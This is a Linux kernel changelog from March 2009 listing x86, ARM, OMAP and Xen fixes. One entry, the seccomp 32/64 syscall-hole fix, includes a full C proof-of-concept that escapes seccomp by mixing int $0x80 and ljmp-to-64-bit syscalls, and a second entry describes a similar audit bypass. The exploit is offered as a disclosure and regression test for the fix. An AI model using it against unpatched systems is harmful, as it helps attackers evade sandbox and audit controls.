2009-03-04x86: add Dell XPS710 reboot quirkLeann Ogasawara
Dell XPS710 will hang on reboot. This is resolved by adding a quirk to set bios reboot.

2009-03-04x86, math-emu: fix init_fpu for task != currentDaniel Glöckner
Impact: fix math-emu related crash while using GDB/ptrace init_fpu() calls finit to initialize a task's xstate, while finit always works on the current task. If we use PTRACE_GETFPREGS on another process and both processes did not already use floating point, we get a null pointer exception in finit. This patch creates a new function finit_task that takes a task_struct parameter. finit becomes a wrapper that simply calls finit_task with current. On the plus side this avoids many calls to get_current which would each resolve to an inline assembler mov instruction. An empty finit_task has been added to i387.h to avoid linker errors in case the compiler still emits the call in init_fpu when CONFIG_MATH_EMULATION is not defined. The declaration of finit in i387.h has been removed as the remaining code using this function gets its prototype from fpu_proto.h.

2009-03-04x86: EFI: Back efi_ioremap with init_memory_mapping instead of FIX_MAPHuang Ying
Impact: Fix boot failure on EFI system with large runtime memory range Brian Maly reported that some EFI system with large runtime memory range can not boot. Because the FIX_MAP used to map runtime memory range is smaller than run time memory range. This patch fixes this issue by re-implement efi_ioremap() with init_memory_mapping().

2009-03-04x86: set_highmem_pages_init() cleanup, #2Pekka Enberg
Impact: cleanup The zones are set up at this stage so there's a highmem zone available even for the UMA case. The only difference there is that for machines that have CONFIG_HIGHMEM enabled but don't have any highmem available, ->zone_start_pfn is zero whereas highstart_pfn is non-zero). The field is left zeroed because of the !size test in free_area_init_core() but shouldn't be a problem because add_highpages_with_active_regions() handles empty ranges just fine.

2009-03-04x86: fix DMI on EFIBrian Maly
Impact: reactivate DMI quirks on EFI hardware DMI tables are loaded by EFI, so the dmi calls must happen after efi_init() and not before. Currently Apple hardware uses DMI to determine the framebuffer mappings for efifb. Without DMI working you also have no video on MacBook Pro. This patch resolves the DMI issue for EFI hardware (DMI is now properly detected at boot), and additionally efifb now loads on Apple hardware (i.e. video works).

2009-03-03[ARM] 5417/1: Set the correct cacheid for ARMv6 CPUs with ARMv7 style MMUCatalin Marinas

The cpu_architecture() function returns the version of the supported MMU features (e.g. TEX remapping) but it doesn't make any assumptions about the cache type.

2009-03-02OMAP: enable smc911x support for LDP platformRussell King
The following patch enables SMC911x support to work on the OMAP LDP board. Although the SMC911x driver will eventually be obsoleted, the smsc911x patches are rather invasive for the -rc kernels. Rather than risk destablising smsc911x, this simpler patch is preferred to allow the network interface to work.

2009-03-02x86-64: seccomp: fix 32/64 syscall holeRoland McGrath
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02x86-64: syscall-audit: fix 32/64 syscall holeRoland McGrath
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases, audit_syscall_entry() will use the wrong system call number table and the wrong system call argument registers. This could be used to circumvent a syscall audit configuration that filters based on the syscall numbers or argument details.

2009-03-02xen: deal with virtually mapped percpu dataJeremy Fitzhardinge
The virtually mapped percpu space causes us two problems: - for hypercalls which take an mfn, we need to do a full pagetable walk to convert the percpu va into an mfn, and - when a hypercall requires a page to be mapped RO via all its aliases, we need to make sure its RO in both the percpu mapping and in the linear mapping This primarily affects the gdt and the vcpu info structure.
